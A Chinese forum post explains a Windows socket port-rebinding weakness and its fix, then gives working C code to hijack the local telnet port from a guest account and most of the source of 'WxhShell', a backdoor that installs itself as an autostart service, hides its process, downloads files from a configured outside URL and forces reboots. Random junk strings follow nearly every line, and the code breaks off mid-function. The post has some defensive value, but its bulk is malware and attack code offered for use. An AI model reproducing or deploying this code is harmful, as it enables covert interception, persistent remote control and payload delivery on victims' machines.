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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ==?!z<I.d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GjfPba4>  
T"tR*2HwSd  
  saddr.sin_family = AF_INET; $1F$3"k  
G 5T{*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0[O."9  
b":3J)Y6.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Si:$zGL$(  
G|h@O'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =Ay'\j  
]8c%)%Vi  
  这意味着什么?意味着可以进行如下的攻击: Hy9c<X[F9  
4^jIV!V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sb3k? q  
y-/,,,r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l0&Y",vy  
t 5{Y'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a#k=! W  
uDWxIP,m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oQS_rv\Ber  
3R=R k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~hk;OB;  
E;vF :?|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eBs4:R_i  
BS@x&DB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z.iQm{bI  
*2(W`m  
  #include ,2R7AHk  
  #include *\M$pUS{  
  #include \uUd *  
  #include    |RA|nu   
  DWORD WINAPI ClientThread(LPVOID lpParam);   G)S (a4  
  int main() ayR;|S  
  { cj5; XK  
  WORD wVersionRequested; 6HK dBW$/  
  DWORD ret; Uh tk`2O  
  WSADATA wsaData; w9W0j  
  BOOL val; [l7 G9T}/[  
  SOCKADDR_IN saddr; \d&/,?,Ey  
  SOCKADDR_IN scaddr; I/&uiC{l@  
  int err; z5k9|.hgw  
  SOCKET s; iem@ K  
  SOCKET sc; /KCJ)0UU  
  int caddsize; "{lw;AA5F  
  HANDLE mt; VOY#Y*)g  
  DWORD tid;   kYl')L6  
  wVersionRequested = MAKEWORD( 2, 2 ); NF0=t}e  
  err = WSAStartup( wVersionRequested, &wsaData ); 7F;dLd'  
  if ( err != 0 ) { A{QXzoWkg0  
  printf("error!WSAStartup failed!\n"); Shm$>\~=  
  return -1; uHNh|ew21  
  } [Up0<`Q{I_  
  saddr.sin_family = AF_INET; e+? -#  
   W bP wO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .R<Ke\y/  
5e|2b] f$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u[>hs \3k  
  saddr.sin_port = htons(23); dPtQ Sa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1;Q>B>6  
  { AvxP0@.`  
  printf("error!socket failed!\n"); "4,Zox{^  
  return -1; Jy?#@/~  
  } ]JUb;B;Z  
  val = TRUE; [/Figr]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DsI{*#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .bT+#x  
  { YM(` E9{h  
  printf("error!setsockopt failed!\n"); M.(shIu!+  
  return -1; 5IsRIz[`TK  
  } j&qJK,~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `Qg#`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r{Stsha(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `n{yls7.  
G=Qslrtg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \`MX\OR  
  { 1I1Z),  
  ret=GetLastError(); Og8'K=O#  
  printf("error!bind failed!\n"); |fd}B5!c  
  return -1; 2^TJ_xG~  
  } =64%eF  
  listen(s,2); 0nDlqy6b1b  
  while(1) JBCJVWUt  
  { {;kH&Pp  
  caddsize = sizeof(scaddr); \B$Q%\-PX  
  //接受连接请求 -$8M#n,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m$UrY(6d  
  if(sc!=INVALID_SOCKET) {Yp;R  
  { HJh9 <I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y >N`(  
  if(mt==NULL) tK$x=9M  
  { DKzP)!B "  
  printf("Thread Creat Failed!\n"); 51Nh"JTy  
  break; SjZ?keKZ  
  } ^9ZW }AAO  
  } _]Ei,Ua  
  CloseHandle(mt); J6s55 v  
  } ,fQs+*j  
  closesocket(s); u40k9vh  
  WSACleanup(); %mv9+WJN.  
  return 0; x,3oa_'E  
  }   qUMM}ls  
  DWORD WINAPI ClientThread(LPVOID lpParam) bO:m^*  
  { u3Jsu=Nx-  
  SOCKET ss = (SOCKET)lpParam; ^&|$&7  
  SOCKET sc; yQ3*~d~U|L  
  unsigned char buf[4096]; pR VL}^Rk  
  SOCKADDR_IN saddr; >UQ`@GdafR  
  long num; Q.dHg7+D  
  DWORD val; n* 7mP   
  DWORD ret; 6kc/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5nhc|E)C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k/|j e~$  
  saddr.sin_family = AF_INET; 3cp"UU}.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wU|Y`wJmF  
  saddr.sin_port = htons(23); " * Qwaq_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }: W6Bo-|  
  {  FsbX{  
  printf("error!socket failed!\n"); x!<?/I)X  
  return -1; nKoc%TNqe  
  } e+ZC<Bdh  
  val = 100; -bq\2Yc$]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g@ ZZcBx  
  { X[XSf=  
  ret = GetLastError(); 6}vPwI  
  return -1; &;)6G1X1  
  } _*.Wo"[%[X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wkp|V{k  
  { hgz7dF  
  ret = GetLastError(); <^Hh5kfS'  
  return -1; >#MGGCGL  
  } Q>FuNdUk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L'>t:^QTh  
  { ]('isq,P  
  printf("error!socket connect failed!\n"); |c]Y1WwDx  
  closesocket(sc);  ?2g\y@  
  closesocket(ss); !7:~"kk  
  return -1; pFu3FUO*;  
  } Xu1tN9:oE  
  while(1) kdWk{ZT^  
  { CpAdE m{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #\&jM -.-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KL4Z||n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D/jS4'$vA  
  num = recv(ss,buf,4096,0); D\:~G}M  
  if(num>0) y3 {om^ f  
  send(sc,buf,num,0); quB .A7~^=  
  else if(num==0) LZ@4,Uj  
  break; SGU~LW&  
  num = recv(sc,buf,4096,0); d45JT?qg&  
  if(num>0) ?1I0VA']  
  send(ss,buf,num,0); R ks3L  
  else if(num==0) h4xRRyK  
  break; C?FUc cI  
  } #eqy!QdePf  
  closesocket(ss); 8bB'[gJ]{  
  closesocket(sc); J% B(4`  
  return 0 ; !2('Cq_^  
  } ~D4%7U"dv  
&k5 Z|d|  
>^@/Ba$h  
========================================================== t._W643~  
<tEN1i  
下边附上一个代码,,WXhSHELL &oWdBna"_  
&& }'  
========================================================== ACg5"  
)ow|n^D($M  
#include "stdafx.h" T/%s7!E  
6 ]@H.8+  
#include <stdio.h> .[-d( #l{l  
#include <string.h> a9ab>2G?FR  
#include <windows.h> i%+p\eeq*  
#include <winsock2.h> y@|gG&f T  
#include <winsvc.h> =$B:i>z<  
#include <urlmon.h> -P09u82  
HNA/LJl[VU  
#pragma comment (lib, "Ws2_32.lib") ,qgph^C  
#pragma comment (lib, "urlmon.lib") 89>U Koc?  
RNyw`>  
#define MAX_USER   100 // 最大客户端连接数 N1RZ  
#define BUF_SOCK   200 // sock buffer ;[-dth  
#define KEY_BUFF   255 // 输入 buffer 9: bC{n  
=<.8  
#define REBOOT     0   // 重启 D]9I-|  
#define SHUTDOWN   1   // 关机 Xi'y-cV ^  
"8Ud&o  
#define DEF_PORT   5000 // 监听端口 Cwxy ~.mI  
Y5~_y?BX  
#define REG_LEN     16   // 注册表键长度 n lsQf3  
#define SVC_LEN     80   // NT服务名长度 s|U=_,.  
21$YZlhJ  
// 从dll定义API _|x b)_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9=D\xBd|w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w. gI0`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZGHkW9b&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F/\w4T  
b!Q|0X.?  
// wxhshell配置信息 j*m7&wOE  
struct WSCFG { _MfB,CS  
  int ws_port;         // 监听端口 aClXg-  
  char ws_passstr[REG_LEN]; // 口令 ic:_v?k  
  int ws_autoins;       // 安装标记, 1=yes 0=no We#u-#k_O  
  char ws_regname[REG_LEN]; // 注册表键名 [N}:Di,S  
  char ws_svcname[REG_LEN]; // 服务名 yWa-iHWC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y!SElKj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZM/*cA!"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n|vIo)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no swvn*xr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z8P{Cr~U9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 **V^8'W<  
">}l8MA  
};  ZqQJFyV*  
I| qoHN,g  
// default Wxhshell configuration /wB<1b"  
struct WSCFG wscfg={DEF_PORT, )+c4n]  
    "xuhuanlingzhe", uI7 d?s  
    1, !HM|~G7  
    "Wxhshell", )miY>7K  
    "Wxhshell", 48CLnyYiF  
            "WxhShell Service", H/>86GG  
    "Wrsky Windows CmdShell Service", oagxTFh8~  
    "Please Input Your Password: ", q/Dc*Qn m  
  1, PsTPGK#S  
  "http://www.wrsky.com/wxhshell.exe", +(iM]L$Fw%  
  "Wxhshell.exe" >&mlwxqv  
    }; cB U,!  
vgSs]g  
// 消息定义模块 @Iz vObK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R9o3T)9V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #EiOC.A=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [ Y_6PR  
char *msg_ws_ext="\n\rExit."; 0wV!mC  
char *msg_ws_end="\n\rQuit."; SF2A?L?}+  
char *msg_ws_boot="\n\rReboot..."; q1sK:)Hu+  
char *msg_ws_poff="\n\rShutdown..."; .%7#o  
char *msg_ws_down="\n\rSave to "; . KJ EA #  
r3oAP[+n  
char *msg_ws_err="\n\rErr!"; Ep/4o< N(  
char *msg_ws_ok="\n\rOK!"; s5T$>+ a  
nS0K&MH6B  
char ExeFile[MAX_PATH]; cg$@x\fJ  
int nUser = 0; `Q V}je  
HANDLE handles[MAX_USER]; h_ef@ZwSw  
int OsIsNt; L-\-wXg%  
0x!XE|7I  
SERVICE_STATUS       serviceStatus; Yhl {'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Xgf=yG:M  
8;YeEW 5  
// 函数声明 )&}\2NK6L  
int Install(void); $}0q=Lg%wv  
int Uninstall(void); w?6"`Mo  
int DownloadFile(char *sURL, SOCKET wsh); FN5*pVD;<  
int Boot(int flag); O^v^GG=e;C  
void HideProc(void); `JyTS~v$  
int GetOsVer(void); n*G[ZW*Uc  
int Wxhshell(SOCKET wsl); S?Q4u!FC  
void TalkWithClient(void *cs); _4iTP$7[  
int CmdShell(SOCKET sock); %-!ruc"}  
int StartFromService(void); TSXa#SKp  
int StartWxhshell(LPSTR lpCmdLine); :SilQm*Pl  
Ml)~%ZbF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6k"'3AKaR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); keNPlK%>  
YHN@?}T()  
// 数据结构和表定义 = R|?LOEK+  
SERVICE_TABLE_ENTRY DispatchTable[] = )=TD}Xb  
{ (.a:jL$  
{wscfg.ws_svcname, NTServiceMain}, x g~q'>  
{NULL, NULL} ^~Nz8PCY  
}; ^D8 YF  
u1a5Vtel  
// 自我安装 rMIr&T  
int Install(void) n.]K"$230  
{ 2'_xg~  
  char svExeFile[MAX_PATH]; 57e'a&}e  
  HKEY key; i,NU%be  
  strcpy(svExeFile,ExeFile); 8`Fo^c=j  
K 0RY2Hiw  
// 如果是win9x系统,修改注册表设为自启动 .a\b_[+W  
if(!OsIsNt) { WmTSxneo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rD)yEuYX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8MgoAX,p  
  RegCloseKey(key); )tGeQXVhbJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u"r~5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !0:uM)_k  
  RegCloseKey(key); tL(B gku9  
  return 0; zRPXmu{t  
    } vwDnz /-  
  } k`Nc<nN8  
} ;Pik},  
else { l-4T Tg  
\tTZ N  
// 如果是NT以上系统,安装为系统服务 =8S*t5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UA$ XjP  
if (schSCManager!=0) @ROMHMd}  
{ S(Md  
  SC_HANDLE schService = CreateService Ub=g<MYHV  
  ( u5^fiw]C  
  schSCManager, 4VINu9\V  
  wscfg.ws_svcname, e`ti*1]q  
  wscfg.ws_svcdisp, IBWUXG;  
  SERVICE_ALL_ACCESS, TB 9{e!4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V.5gxr3QqW  
  SERVICE_AUTO_START, XL>v$7`#  
  SERVICE_ERROR_NORMAL, YG ,  
  svExeFile, "']I.  
  NULL, tr0P ;}=  
  NULL, ^T`)ltI]V  
  NULL, nsFOtOdd  
  NULL, ;n_|t/=  
  NULL WGFp<R  
  ); {pMbkA Q@  
  if (schService!=0) ($EA/|z  
  { d:*,HzG  
  CloseServiceHandle(schService); D+?/MrP  
  CloseServiceHandle(schSCManager); j*@^O`^v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -L@4da[]i  
  strcat(svExeFile,wscfg.ws_svcname); Xdj` $/RI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NfizX!w&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )*@n G$i99  
  RegCloseKey(key); 3wK{?  
  return 0; IiTV*azVh  
    } >aXyi3B  
  } dC8 $Ql^<  
  CloseServiceHandle(schSCManager); "!()yjy  
} oLK-~[p  
}  (`PgvBL:  
)8]O|Z-CU  
return 1; ]vRte!QJ;  
} rC.z772y%  
{/`iZzPg  
// 自我卸载 Yl%1e|WV  
int Uninstall(void) `>&V_^y+  
{ a;JB8  
  HKEY key;  (c;F%m|  
-Yx'qz@  
if(!OsIsNt) { 9r.Os  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N"SFVc_2  
  RegDeleteValue(key,wscfg.ws_regname); umZy=KHj  
  RegCloseKey(key); ZGgKCCt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rd~-.&   
  RegDeleteValue(key,wscfg.ws_regname); 9TRS#iVL+*  
  RegCloseKey(key); %suSZw`  
  return 0; l&l&e OE  
  } \M0-$&[+Z  
} o?(({HH  
} 3D L7  
else { vAWJP_;J  
Bfe#,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <$bM*5sHF>  
if (schSCManager!=0) S}6Ty2.\  
{ "8}p>gS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); As0E'n85  
  if (schService!=0) D^ZG-WR  
  { G"P@AOw  
  if(DeleteService(schService)!=0) { ggQ/_F8u  
  CloseServiceHandle(schService); J'c]':U  
  CloseServiceHandle(schSCManager); u6^cLQO+  
  return 0; jp=z ^l  
  } F]]1>w*/0  
  CloseServiceHandle(schService); xUl=N   
  } ?WPuTPw{  
  CloseServiceHandle(schSCManager); )H@"S]?7i"  
} ~L\KMB/9e=  
} #M kXio; h  
-X+G_rY  
return 1; qv\n]M_&  
} Er/h:=  
B].V|8h  
// 从指定url下载文件 nmI os]B  
int DownloadFile(char *sURL, SOCKET wsh) buV {O[  
{ ~ 8L]!OQ9=  
  HRESULT hr; T DOOq;+  
char seps[]= "/"; k4:$LFw@  
char *token; (jb9Uk_t  
char *file; D5lzrpg_e  
char myURL[MAX_PATH]; dqF]kP,VG  
char myFILE[MAX_PATH]; IoO tn  
BfZAK0+*$  
strcpy(myURL,sURL); n;&08M5an}  
  token=strtok(myURL,seps); EB R,j_  
  while(token!=NULL) ]}7FTMGbY  
  { ipzv]c&  
    file=token; 8~*<s5H  
  token=strtok(NULL,seps); x!5b" "  
  } ; kPx@C   
SOE 5`  
GetCurrentDirectory(MAX_PATH,myFILE); 5cj]Y)I-~  
strcat(myFILE, "\\"); B(tLV9B3Q  
strcat(myFILE, file); }AfX0[!O  
  send(wsh,myFILE,strlen(myFILE),0); qw^kA?  
send(wsh,"...",3,0); cGF_|1`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7#/->Y  
  if(hr==S_OK) a#3+PB #  
return 0; Ws;S=|9,7~  
else ='r86vq  
return 1; wW2b?b{*Z  
"&h{+DHS  
} co!o+jP  
s<3cvF<  
// 系统电源模块 Hq<Sg4nz  
int Boot(int flag) SURbH;[   
{ RcJ.=?I!  
  HANDLE hToken; a)L\+$@*  
  TOKEN_PRIVILEGES tkp; yM* CA,(c  
G<1)N T\u  
  if(OsIsNt) { r~f*aD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /QuuBtp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &CP0T:h  
    tkp.PrivilegeCount = 1; 9$ GA s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2@7f^be  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O7<--  
if(flag==REBOOT) { vG E;PwR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r 0m A  
  return 0; ?\ Fo|__  
} yFt$L'#  
else { )?_x$GKY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `D *U@iJ  
  return 0; _8zZ.~)  
} 2;8I0BH*'  
  } [l~Gwaul>  
  else { ;MSdTHN"  
if(flag==REBOOT) { 7 2Zp%a=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~>2DA$Ec  
  return 0; )|52B;yZx  
} GFA D  
else { W^U6O&-K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NT(gXEZ  
  return 0; r.-U=ql  
} UXs=7H".  
} Sr$&]R]^  
-@*[   
return 1; >.sdLA Si  
} 6?B'3~ r  
K;uOtbdOK  
// win9x进程隐藏模块 R0 yPmh,{  
void HideProc(void) M:[rH  
{ }uZtAH|  
[K5#4k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TNi4H:\  
  if ( hKernel != NULL ) SynL%Y9)|,  
  { w_gFN%8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +-%&,>R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yT3q~#:  
    FreeLibrary(hKernel); 4?eO1=a  
  } u/s,#  
"6^~-` O  
return; RC[mpR ;2  
} <[*%d~92z  
<n#phU Q  
// 获取操作系统版本 " pZvV0'  
int GetOsVer(void) dSdP]50M  
{ dWR-}>  
  OSVERSIONINFO winfo; l g0 'qH8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  F,hiKq*  
  GetVersionEx(&winfo); v8{ jEAK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *8I+D>x  
  return 1; 6 b/UFO  
  else blVt:XS{,m  
  return 0; +ConK>;  
} &XvSAw+D@  
@%FLT6MY  
// 客户端句柄模块 Q4;%[7LU  
int Wxhshell(SOCKET wsl) (ncm]W  
{ jH5VrN*Q  
  SOCKET wsh; ^ <$$h  
  struct sockaddr_in client; # 1,"^k^  
  DWORD myID; 0c-.h  
A'zXbp:%  
  while(nUser<MAX_USER) ?'xwr )v  
{ 7%MD0qm-  
  int nSize=sizeof(client); e7O9q8b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )2pOCAjL2  
  if(wsh==INVALID_SOCKET) return 1; l_q=@y  
&EUI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d O})#50f  
if(handles[nUser]==0) hRU5CH/!  
  closesocket(wsh); v47S9Vm+  
else V(6*wQ`&  
  nUser++; "e-RV  
  } "VIoV u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KfPYH\ 0  
`F(ghC  
  return 0; eb ` !  
} Rfx}[!<{N  
c>$PLO^  
// 关闭 socket uc~/l4~N  
void CloseIt(SOCKET wsh) {0(:5%  
{ )'1rZb5  
closesocket(wsh); 1H-d<G0)  
nUser--; RV=Z$  
ExitThread(0); uY_vX\;67z  
} )01,3J>#  
#F^0uUjq  
// 客户端请求句柄 ~K 2.T7=  
void TalkWithClient(void *cs) m)1+D"z  
{ f{HjM? Mb3  
>N bb0T  
  SOCKET wsh=(SOCKET)cs; o5(~nQ  
  char pwd[SVC_LEN]; i"_@iN0N  
  char cmd[KEY_BUFF]; \@8.BCWK  
char chr[1]; K*/X{3J;  
int i,j; c/'Cju W  
Iq?#kV9)  
  while (nUser < MAX_USER) { qlU"v)Mx  
Sb|9U8h  
if(wscfg.ws_passstr) { >WZ_) `R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6OPYq*|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Yyb)Qf  
  //ZeroMemory(pwd,KEY_BUFF); vVy X[ZZ  
      i=0; p"dK,A5#)  
  while(i<SVC_LEN) { 0XzrzT"&  
O;6am++M@  
  // 设置超时 qib4DT$v-6  
  fd_set FdRead; 6rll0c~  
  struct timeval TimeOut; />dH\KvN  
  FD_ZERO(&FdRead); u}0U!  
  FD_SET(wsh,&FdRead); |y%M";MI  
  TimeOut.tv_sec=8; [-p?gyl  
  TimeOut.tv_usec=0; = }!4%.$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IQ] tcSQl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sy(8-zbI  
!uc"|S?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +oRBSAg-  
  pwd=chr[0]; v;ZIqn"  
  if(chr[0]==0xd || chr[0]==0xa) { sQ aP:@  
  pwd=0; X4$86  
  break; 1 k\~%  
  } uLq%Nu  
  i++; v?L`aj1ox  
    } %2ZWSQD  
YVW`|'7)|  
  // 如果是非法用户,关闭 socket GE!fh1[[u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q(s&2|  
} KmX?W/%R  
xsERnF>`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >g+e`!;6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 )F~  
EG#mNpxE  
while(1) { A>Y#-e;<d  
$v\o14 v  
  ZeroMemory(cmd,KEY_BUFF); !?aL_{7J  
x@Ze%$'  
      // 自动支持客户端 telnet标准   '\wZKY VN  
  j=0; *1b1phh0/  
  while(j<KEY_BUFF) { Naa "^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q_b,3Tp  
  cmd[j]=chr[0]; k.6gX<T  
  if(chr[0]==0xa || chr[0]==0xd) { G9AQIU%ii  
  cmd[j]=0; M@a=|N~  
  break; 6!A+$"  
  } -oMp@2\e  
  j++; Ch0t'  
    } !)//b]  
g&?RQ  
  // 下载文件 !WgVk7aP`  
  if(strstr(cmd,"http://")) { C#oH7o+_.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P+gY LX8  
  if(DownloadFile(cmd,wsh)) N6<G`k,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  )k6O  
  else P^-daRb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =2&Sw(6j  
  } Z~Vups#+f  
  else { 8-geBlCE,  
&<$YR~g5j$  
    switch(cmd[0]) { /s[D[:P_  
  %<rV~9:  
  // 帮助 D:.1Be`Tv  
  case '?': { w(cl,W/w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cz.,QIt_  
    break; NA{?DSP  
  } >!BZ>G2  
  // 安装 X775j"<d  
  case 'i': { i"GCm`  
    if(Install()) q'CtfmI`r=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |S.;']t+  
    else jA,| .P>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Qxdb1>mjY  
    break; BWev(SF{Ny  
    } vcz?;lg  
  // 卸载 0UN65JBuD  
  case 'r': { $guaUe[x  
    if(Uninstall()) 9^2l<4^Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]MaD7q>+R  
    else .3:s4=(f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "jA?s9  
    break; $(N+E,XB  
    } wdLlQD  
  // 显示 wxhshell 所在路径 cIB[D.  
  case 'p': { -esq]c%3  
    char svExeFile[MAX_PATH]; D]*<J"/]d  
    strcpy(svExeFile,"\n\r"); q 7aH=dhw  
      strcat(svExeFile,ExeFile); m5kt O^EU  
        send(wsh,svExeFile,strlen(svExeFile),0); GI[XcK^*w  
    break; `\M}~  
    } b6ui&Y8z  
  // 重启 ,4Qct=%L_  
  case 'b': { .:A&5Y-   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v7#`b}'W  
    if(Boot(REBOOT)) @z<IsAE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#+Da\qmx  
    else { x!;;;iS  
    closesocket(wsh); $Y=xu2u)  
    ExitThread(0); 5"^Z7+6  
    } z8*{i]j  
    break; >A*BRX"4C  
    } uK5 C-  
  // 关机 E0_S+`o2y  
  case 'd': { !UF (R^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mb#&yK(h  
